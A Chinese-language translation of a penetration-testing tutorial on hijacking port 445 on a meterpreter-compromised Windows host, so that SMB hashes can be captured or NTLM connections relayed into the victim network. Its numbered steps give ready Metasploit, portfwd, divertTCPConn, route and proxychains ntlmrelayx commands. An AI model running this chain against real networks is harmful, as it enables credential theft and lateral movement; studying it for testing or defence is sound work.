一、前言
劫持445端口来执行中继(relay)攻击或者哈希捕获攻击一直以来都是相当热门的话题,当我们使用meterpreter感染目标时,我们如何才能在445端口上监听连接?几星期之前这个话题再次浮出水面,当时Dirk-jan(@_dirkjan
)在Slack上的#bloodhoundgang
话题中看到有人提到这个问题,希望我能够研究一下。这个问题听起来非常有趣,他也答应我如果能够找到解决办法,会写一篇文章介绍通过meterpreter执行SMB中继攻击的具体过程。事实上这个问题已经有解决方案,但很多人都不知道具体如何操作。
本文介绍了如何利用这些工具在已具备meterpreter
会话的目标主机上执行中继攻击。这种方法还有另一个优点,那就是我们不需要使用python2exe
之类的工具或者要求目标主机安装全功能的python环境,只需要一个简单的驱动和meterpreter
会话就能完成攻击任务。
本文的第一部分将重点关注如何劫持445端口,第二部分将重点介绍如何将该端口用于relay攻击。如果大家想跳过具体分析及环境配置过程,可以直接到Github上获取最终解决方案。
下文主要包含以下几点内容:
1、445端口对应哪个服务或进程?
2、如何劫持并重定向445端口?
3、如何通过meterpreter
设置完整的SMB中继环境?
需要注意的是,本文选择了较为简单的方法,将所有文件存放在磁盘上。如果你想避免这种方式,我们建议你使用ram disk
解决方案,或者拓展当前的meterpreter
内存执行功能,使其能够支持本文描述的类似功能。
此外,大家可能还需要重新静态编译源代码,确保运行时不需要依赖其他DLL文件,否则就需要绑定这些DLL文件。这些任务都交由大家来完成了。
二、445端口具体实现位置
首先我们要确定哪个服务或进程在445端口上监听。我首先做的一件事就是先搜索是否有人已经回答过这个问题,并手动在我的Win 10 x64系统上进行验证。因此我决定在Google上搜索“msdn process listening port 445”关键词。
搜索结果给出了两个页面:
https://msdn.microsoft.com/en-us/library/cc875824.aspx
根据这些资料中提到的服务信息,我在系统上做了些测试,逐步停止并禁用一些服务来判断哪个对象负责这个端口,我首先选择的就是Server
服务。禁用服务暂时不能立即生效,所以我重启了目标主机,完成了这个任务。这种操作当然不是实际操作中的真正解决方案,以为理想情况下我们并不希望重启被感染的目标主机。
如果我们更进一步研究,查看服务的属性,我们可以看到启动该服务的命令为:
C:WINDOWSsystem32svchost.exe -k netsvcs -p
Geoff Chappell在他的网站上详细介绍了svchost.exe
所使用的命令行参数。
如果我们访问文中提到的注册表路径:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionSvchost
可以找到捆绑的许多服务,但这并没有完全回答我们的问题。那么为何不换种思路?像之前那样,我们可以尝试简单一点的方法,比如检查服务的属性,在“Dependencies”(依赖)选项卡中有个srvnet
服务,该服务指向了一个驱动。
如果我们通过Google深入了解永恒之蓝(external blue)漏洞利用技术,我们可以找到一篇文章,文章中提到:“SMB协议的实现大部分都位于srv.sys
驱动中”,并且该驱动与srvnet.sys
驱动关系紧密。为了确认这一点,我们找到了微软官方的一篇文章。文中第一段几乎总结了我们一直在寻找的答案,负责处理445端口连接的代码位于内核中。在某种程度上这对我们来说是一个坏消息,因为这样我们就不能简单地劫持套接字。因此我们可能需要学习新知识,才能知道可以通过哪条路解决这个问题。
三、劫持并重定向445端口
现在我们已经知道445端口的实现位于内核中,我们可以开始规划具体策略。我首先想到的就是Linux中使用iptables
来劫持入站或者出站连接这种思路,这是因为这种方式运行在网络协议栈中相对较低的底层。为了验证我们是否可以在Windows上使用这种思路,我们可以研究一下Windows防火墙的内部工作原理,可以参考以下两篇详细说明文档:
1、Windows防火墙架构);
从某种意义上说,Windows上的Windows Filtering Platform
(Windows过滤平台)也支持这种概念。这对我们来说是个好消息,然而坏消息是我们似乎需要为此创建一个驱动。大家可能会认为可以使用netsh端口转发技巧,但事实并非如此。不幸的是我在这方面还没有深入了解,因此可能需要花很多时间。
然而人总有懒惰性,因此创建驱动听起来并不是最佳方案。有趣的是,如果我们在Google上搜索类似wfp port connection
之类的关键词,就会发现已经有人(@agsolino,也是impacket
工具的开发者)提出过解决方案,另外你可能也会在搜索结果中找到windivert
框架。如果大家继续搜索,可能会找到我们这篇文章中提到的解决方案,我们给出的应用程序非常简单,可以重定向入站连接。现在我们来看一下如何通过meterpreter重定向目标系统上445端口的入站连接。我们提出的解决方案示意图如下所示:
上图中有一个被感染的目标主机(infected host),在这个meterpreter
会话中,我们将建立从目标主机到我们的控制主机(metasploit
实例,监听在常规的4444端口上)的一个反向端口转发连接。meterpreter
的远程监听端口(8445)会接收传入445端口的连接,从而实现劫持445端口的入站连接,并最终将其转到metasploit
实例。接下来让我们实际操作一番,抓取一些凭据信息,验证这种思路的可行性:
1、设置一个有效的管理员meterpreter
会话;
2、设置SMB凭据抓取服务器,具体命令为:
use auxiliary/scanner/smb/smb_login
set SRVPORT 9445
run -j
3、使用meterpreter
创建反向端口转发:
portfwd add -R -L 127.0.0.1 -l 9445 -p 8445
4、劫持445端口:
divertTCPConn.exe 445 8445
就这么简单,当受害者主机连接被感染主机的445端口时,我们可以在metasploit
控制台中收到哈希信息,如下图所示:
接下来Dirk-jan
将拓展上述思路,介绍如何通过被感染主机实施完整的远程NTLM relay攻击。
四、通过meterpreter设置完整的SMB relay环境
在最后一部分中,我们将在Ubuntu系统上使用ntlmrelayx
工具,将连接中继至受害者网络内部的某个系统,这种场景中需要通过meterpreter
向前及向后转发网络流量。当目标网络中的主机连接被我们控制的主机时,可以利用反向连接来确保连接到ntlmrelayx
,最终又中继回目标网络中。回连目标网络的连接链路中包含一个SOCKS代理。这种攻击的示意图如下所示:
第一步与前文提到的步骤类似,用来创建反向隧道:
1、设置一个有效的管理员meterpreter
会话;
2、使用meterpreter
设置反向端口转发:
portfwd add -R -p 4445 -l 445 -L 127.0.0.1
3、通过meterpreter
设置445端口劫持环境:
execute -f divertTCPconn.exe -a '445 4445'
为了设置正向连接隧道,我们添加了一条路由,重定向通过我们meterpreter
会话(这里的会话编号为3)的流量并设置SOCKS代理:
(1)通过meterpreter
添加路由,这里我们直接指定目标IP地址:
route add 192.168.222.103/32 3
(2)设置SOCKS代理:
use auxiliary/server/socks4a
run
确保/etc/proxychains.conf中设定了SOCKS端口(默认为1080)
(3)通过SOCKS运行ntlmrelayx
:
sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support
现在使用该隧道来执行relay攻击的环境应该已经设置完毕,我们可以使用类似Inveigh或者自己喜欢的流量获取方法来实施欺骗攻击。
一旦有入站连接,ntlmrelayx
会将流量通过SOCKS隧道路由回我们的受害网络,然后就是正常的流程处理:
最后我们还要记住几点:
1、设置反向转发规则时,Windows防火墙默认情况下会阻止这种操作,请提前解除这个阻碍或者将其加入白名单;
2、在实施中继攻击时我们还要考虑到类似SMB签名之类的缓解措施;
3、为了中继HTTP流量(WPAD身份认证),我们需要做的就是添加另一个反向转发规则,从80端口转至我们本地的ntlmrelayx
(除非系统在80端口上安装了一个Web服务器,默认情况下Windows并没有使用80端口,因此这种场景下不需要使用高级重定向方法)。
发表评论
您还未登录,请先登录。
登录